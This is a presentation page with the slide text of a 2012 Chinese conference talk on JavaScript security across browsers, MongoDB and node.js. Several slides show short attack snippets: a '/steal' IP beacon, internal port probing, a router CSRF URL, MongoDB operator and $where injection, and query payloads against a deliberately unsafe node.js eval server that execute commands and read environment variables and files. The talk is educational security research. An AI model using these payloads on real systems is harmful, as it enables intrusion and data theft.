🗊 Презентация JavaScript安全 从浏览器到服务端 余弦

Категория: Технология
Нажмите для полного просмотра!
JavaScript安全 从浏览器到服务端 余弦, слайд №1 JavaScript安全 从浏览器到服务端 余弦, слайд №2 JavaScript安全 从浏览器到服务端 余弦, слайд №3 JavaScript安全 从浏览器到服务端 余弦, слайд №4 JavaScript安全 从浏览器到服务端 余弦, слайд №5 JavaScript安全 从浏览器到服务端 余弦, слайд №6 JavaScript安全 从浏览器到服务端 余弦, слайд №7 JavaScript安全 从浏览器到服务端 余弦, слайд №8 JavaScript安全 从浏览器到服务端 余弦, слайд №9 JavaScript安全 从浏览器到服务端 余弦, слайд №10 JavaScript安全 从浏览器到服务端 余弦, слайд №11 JavaScript安全 从浏览器到服务端 余弦, слайд №12 JavaScript安全 从浏览器到服务端 余弦, слайд №13 JavaScript安全 从浏览器到服务端 余弦, слайд №14 JavaScript安全 从浏览器到服务端 余弦, слайд №15 JavaScript安全 从浏览器到服务端 余弦, слайд №16 JavaScript安全 从浏览器到服务端 余弦, слайд №17 JavaScript安全 从浏览器到服务端 余弦, слайд №18 JavaScript安全 从浏览器到服务端 余弦, слайд №19 JavaScript安全 从浏览器到服务端 余弦, слайд №20 JavaScript安全 从浏览器到服务端 余弦, слайд №21 JavaScript安全 从浏览器到服务端 余弦, слайд №22 JavaScript安全 从浏览器到服务端 余弦, слайд №23 JavaScript安全 从浏览器到服务端 余弦, слайд №24 JavaScript安全 从浏览器到服务端 余弦, слайд №25 JavaScript安全 从浏览器到服务端 余弦, слайд №26 JavaScript安全 从浏览器到服务端 余弦, слайд №27 JavaScript安全 从浏览器到服务端 余弦, слайд №28 JavaScript安全 从浏览器到服务端 余弦, слайд №29 JavaScript安全 从浏览器到服务端 余弦, слайд №30 JavaScript安全 从浏览器到服务端 余弦, слайд №31

Содержание

Вы можете ознакомиться и скачать презентацию на тему JavaScript安全 从浏览器到服务端 余弦. Доклад-сообщение содержит 31 слайдов. Презентации для любого класса можно скачать бесплатно. Если материал и наш сайт презентаций Mypresentation Вам понравились – поделитесь им с друзьями с помощью социальных кнопок и добавьте в закладки в своем браузере.

Слайды и текст этой презентации


Слайд 1


JavaScript安全 从浏览器到服务端 余弦(@evilcos) 2012/7/1
Описание слайда:
JavaScript安全 从浏览器到服务端 余弦(@evilcos) 2012/7/1

Слайд 2


关于我 知道创宇研究部总监 负责和Web安全相关超酷的研究与实现,团队微博: @知道创宇安全研究团队 @知道创宇数据中心 root@xeyeteam, web hacking.
Описание слайда:
关于我 知道创宇研究部总监 负责和Web安全相关超酷的研究与实现,团队微博: @知道创宇安全研究团队 @知道创宇数据中心 root@xeyeteam, web hacking.

Слайд 3


JavaScript 浏览器上的战场 MongoDB上的战场 node.js上的战场 ...
Описание слайда:
JavaScript 浏览器上的战场 MongoDB上的战场 node.js上的战场 ...

Слайд 4


战场有多大,我就能玩多大
Описание слайда:
战场有多大,我就能玩多大

Слайд 5


浏览器上的战场 基本隐私收集 内网浅渗透 突破浏览器边界 XSS Virus攻击 大规模攻击 ...
Описание слайда:
浏览器上的战场 基本隐私收集 内网浅渗透 突破浏览器边界 XSS Virus攻击 大规模攻击 ...

Слайд 6


> 基本隐私收集 开源的xssprobe 获取如下隐私: browser, ua, lang, referer, location, toplocation, cookie, domain, title, screen, flash
Описание слайда:
> 基本隐私收集 开源的xssprobe 获取如下隐私: browser, ua, lang, referer, location, toplocation, cookie, domain, title, screen, flash

Слайд 7


> 基本隐私收集 JSON Hijacking,我知道你是谁 JSON太方便了,前端工程师们非常喜欢用 JSON很容易被劫持: function func(o){ document.write("i know who u r: "+o.userinfo.userid); }
Описание слайда:
> 基本隐私收集 JSON Hijacking,我知道你是谁 JSON太方便了,前端工程师们非常喜欢用 JSON很容易被劫持: function func(o){ document.write("i know who u r: "+o.userinfo.userid); }

Слайд 8


> 内网浅渗透 内网IP获取 内网IP端口获取 内网主机存活获取 路由Web控制台操作 内网脆弱Web应用控制
Описание слайда:
> 内网浅渗透 内网IP获取 内网IP端口获取 内网主机存活获取 路由Web控制台操作 内网脆弱Web应用控制

Слайд 9


>> 内网IP获取 原理:通过Java Applet 需要JRE支持,你们都有:) function MyAddress(ip){ new Image().src = "/steal?info="+ip"&date="+new...
Описание слайда:
>> 内网IP获取 原理:通过Java Applet 需要JRE支持,你们都有:) function MyAddress(ip){ new Image().src = "/steal?info="+ip"&date="+new Date().getTime()); };

Слайд 10


>> 内网IP端口获取 原理: Image对象请求时,得到资源(非法)就onerror,得不到就进入timeout了。别和nmap比:( var m = new Image(); m.onerror = function(){ if (!m) return; m = undefined;...
Описание слайда:
>> 内网IP端口获取 原理: Image对象请求时,得到资源(非法)就onerror,得不到就进入timeout了。别和nmap比:( var m = new Image(); m.onerror = function(){ if (!m) return; m = undefined; alert("open");}; m.onload = m.onerror; m.src=' setTimeout(function () { if (!m) return; m = undefined; alert("close"); }, 900);

Слайд 11


>> 内网主机存活获取 原理: IE下XDomainRequest跨域请求 onerror - fail ontimeout - ok 其它浏览器XMLHttpRequest跨域请求 onreadystatechange - 时间差来判断,timeout则fail 资源在这: 可以和nmap比比:)
Описание слайда:
>> 内网主机存活获取 原理: IE下XDomainRequest跨域请求 onerror - fail ontimeout - ok 其它浏览器XMLHttpRequest跨域请求 onreadystatechange - 时间差来判断,timeout则fail 资源在这: 可以和nmap比比:)

Слайд 12


>> 路由Web控制台操作 简单CSRF修改各种配置,如:迅捷FW300R 前提:目标的浏览器保存了Web控制台会话 配置可远程访问 /userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.255&Save=%C8%B7+%B6%A8...
Описание слайда:
>> 路由Web控制台操作 简单CSRF修改各种配置,如:迅捷FW300R 前提:目标的浏览器保存了Web控制台会话 配置可远程访问 /userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.255&Save=%C8%B7+%B6%A8 修改无线密码、恢复出厂设置、修改转发规则等 还有没有更多的?

Слайд 13


>> 内网脆弱Web应用控制 主动:fuzzing内网可能存在的Web应用 window.onerror=function(){return true;}; inject window.onload = function(){ if(typeof(TracWysiwyg)=='function')...
Описание слайда:
>> 内网脆弱Web应用控制 主动:fuzzing内网可能存在的Web应用 window.onerror=function(){return true;}; inject window.onload = function(){ if(typeof(TracWysiwyg)=='function') alert('trac exist.'); } ... 被动:通过referer泄露内网Web应用信息

Слайд 14


>> 内网脆弱Web应用控制 这些内网应用可能有: bbs/blog/trac/wiki/oa/mail/project/webim/web_vuls_vm 有开源有闭源的 这些Web应用有不同种类的漏洞,如果是xss+sql: xss inject攻击脚本...
Описание слайда:
>> 内网脆弱Web应用控制 这些内网应用可能有: bbs/blog/trac/wiki/oa/mail/project/webim/web_vuls_vm 有开源有闭源的 这些Web应用有不同种类的漏洞,如果是xss+sql: xss inject攻击脚本 攻击脚本ajax请求sql注入,得到想要的数据,返回 还有没有更多?

Слайд 15


> 突破浏览器边界 突破边界,信任危机出现... JavaScript失控了... 国内那些浏览器们 来自knownsec的浏览器安全月 浏览器本身很多功能HTML化,各种XSS 跨协议 高权限的DOM扩展接口,方便了,也邪恶了 恶意APP——浏览器上的“病毒” ... Chrome是榜样:)
Описание слайда:
> 突破浏览器边界 突破边界,信任危机出现... JavaScript失控了... 国内那些浏览器们 来自knownsec的浏览器安全月 浏览器本身很多功能HTML化,各种XSS 跨协议 高权限的DOM扩展接口,方便了,也邪恶了 恶意APP——浏览器上的“病毒” ... Chrome是榜样:)

Слайд 16


> XSS Virus攻击 蠕虫,谁敢玩大? xss worm, csrf worm, clickjacking worm, idea worm... 2011,xeye玩了google reader clickjacking worm... 针对性攻击:隐蔽性高、目标清晰、自我销毁......
Описание слайда:
> XSS Virus攻击 蠕虫,谁敢玩大? xss worm, csrf worm, clickjacking worm, idea worm... 2011,xeye玩了google reader clickjacking worm... 针对性攻击:隐蔽性高、目标清晰、自我销毁... 这会是一种趋势,拭目以待吧 现在有些人的攻击流行:一次攻击达到目的 XSS Backdoor/Rootkit 利用好Cookie/localStorage等XSS,payload储存在本地 直接储存在目标DOM里,一般人还真发现不了:)

Слайд 17


> 大规模攻击 在一个Web生态系统里的大规模 就是那些worm了 针对特定Web应用存储型XSS漏洞进行的大规模攻击 批量挂马 批量拿管理员权限 ... 非要说特点就是: 这些漏洞单个使用价值一般不大 生命周期短
Описание слайда:
> 大规模攻击 在一个Web生态系统里的大规模 就是那些worm了 针对特定Web应用存储型XSS漏洞进行的大规模攻击 批量挂马 批量拿管理员权限 ... 非要说特点就是: 这些漏洞单个使用价值一般不大 生命周期短

Слайд 18


MongoDB上的战场 Array Bypass Injection Attack JavaScript Injection Attack
Описание слайда:
MongoDB上的战场 Array Bypass Injection Attack JavaScript Injection Attack

Слайд 19


> Array Bypass Injection Attack 官方说:我们的查询条件是BSON格式,不会因为":{等字符闭合导致SQL注入... 不会闭合我相信,可SQL注入不一定是这样玩的:) 这就是Array Bypass Injection的玩法 官方说在这:
Описание слайда:
> Array Bypass Injection Attack 官方说:我们的查询条件是BSON格式,不会因为":{等字符闭合导致SQL注入... 不会闭合我相信,可SQL注入不一定是这样玩的:) 这就是Array Bypass Injection的玩法 官方说在这:

Слайд 20


> Array Bypass Injection Attack 非常有意思的bypass MongoDB里的查询条件都是{}数组形式(BSON) PHP的$_GET等得到的就是{}数组形式 t.php?x[y]=1 array(1) { ["x"]=> array(1) {...
Описание слайда:
> Array Bypass Injection Attack 非常有意思的bypass MongoDB里的查询条件都是{}数组形式(BSON) PHP的$_GET等得到的就是{}数组形式 t.php?x[y]=1 array(1) { ["x"]=> array(1) { ["y"]=> string(1) "1" } } 如果参数x的值进入MongoDB进行条件查询 {'passwd':x} y可以是:$exists/$ne/$regex等等这些高级查询符,直接导致查询条件可以很容易为真

Слайд 21


> Array Bypass Injection Attack more:
Описание слайда:
> Array Bypass Injection Attack more:

Слайд 22


> JavaScript Injection Attack eval, $where, MapReduce等里的JavaScript都可能有这样的问题,如: db.xx.find({$where:function(){return this.a=='[userinput]';}})...
Описание слайда:
> JavaScript Injection Attack eval, $where, MapReduce等里的JavaScript都可能有这样的问题,如: db.xx.find({$where:function(){return this.a=='[userinput]';}}) [userinput]等于1' || '1时,return为ture 原理就是:闭合 more:

Слайд 23


node.js上的战场 瘟神eval 本地文件包含
Описание слайда:
node.js上的战场 瘟神eval 本地文件包含

Слайд 24


> 瘟神eval >> node hi.js var http = require('http'); http.createServer(function (req, res) { var t = require('url').parse(req.url,true).query.t; r =...
Описание слайда:
> 瘟神eval >> node hi.js var http = require('http'); http.createServer(function (req, res) { var t = require('url').parse(req.url,true).query.t; r = eval(t); res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello node.js, how can i hack u?\n>> '+t+'\n>> '+r); }).listen(1337, "127.0.0.1"); console.log('Server running at

Слайд 25


> 瘟神eval OS信息: 如:?t=o%3drequire('os');JSON.stringify(o.cpus()); JSON.stringify内置函数,格式化输出 cpus()得到cpu相关信息,如下:
Описание слайда:
> 瘟神eval OS信息: 如:?t=o%3drequire('os');JSON.stringify(o.cpus()); JSON.stringify内置函数,格式化输出 cpus()得到cpu相关信息,如下:

Слайд 26


> 瘟神eval 进程信息: ?t=process.pid 得到进程pid号 ?t=JSON.stringify(process.versions) 得到node.js及组件相关信息: ?t=JSON.stringify(process.env) 得到环境变量:...
Описание слайда:
> 瘟神eval 进程信息: ?t=process.pid 得到进程pid号 ?t=JSON.stringify(process.versions) 得到node.js及组件相关信息: ?t=JSON.stringify(process.env) 得到环境变量: 在非win下还可以getuid/getgid/setuid/setgid等...

Слайд 27


> 瘟神eval 远程执行系统命令 如:?t=require('child_process').exec('calc.exe')
Описание слайда:
> 瘟神eval 远程执行系统命令 如:?t=require('child_process').exec('calc.exe')

Слайд 28


> 瘟神eval 读写系统文件 写:?t=require('fs').writeFile('hack.txt','xxxx') 读:?t=require('fs').readFileSync('c:\\windows\\php.ini')
Описание слайда:
> 瘟神eval 读写系统文件 写:?t=require('fs').writeFile('hack.txt','xxxx') 读:?t=require('fs').readFileSync('c:\\windows\\php.ini')

Слайд 29


> 本地文件包含 node.js可以灵活加载modules 常规:require('./xx.js') 我们可以: require('./xx.jpg') require('c:\\tmp\\xx.jpg')
Описание слайда:
> 本地文件包含 node.js可以灵活加载modules 常规:require('./xx.js') 我们可以: require('./xx.jpg') require('c:\\tmp\\xx.jpg')

Слайд 30


MORE... CouchDB Kinect Opera Unite - 2012开始退出历史舞台了 ...
Описание слайда:
MORE... CouchDB Kinect Opera Unite - 2012开始退出历史舞台了 ...

Слайд 31


EOF. Thx, Q&A.
Описание слайда:
EOF. Thx, Q&A.



Теги JavaScript
Похожие презентации
Mypresentation.ru
Загрузить презентацию